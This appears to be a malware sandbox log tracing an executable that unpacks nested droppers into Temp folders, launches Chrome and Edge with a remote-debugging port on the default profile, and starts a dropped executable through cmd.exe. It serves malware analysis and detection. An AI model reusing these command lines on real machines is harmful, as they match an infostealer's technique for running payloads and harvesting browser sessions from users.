Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\"
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2300,i,14261767560341918354,1830996758735079065,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2540,i,14784142344617253117,468095031586631057,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6996 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAFCFHDHIII.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5256 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAFCFHDHIII.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2300,i,14261767560341918354,1830996758735079065,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2540,i,14784142344617253117,468095031586631057,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6996 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7176 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5256 --field-trial-handle=2116,i,2418828166880816083,3017144160648805089,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: wininet.dll
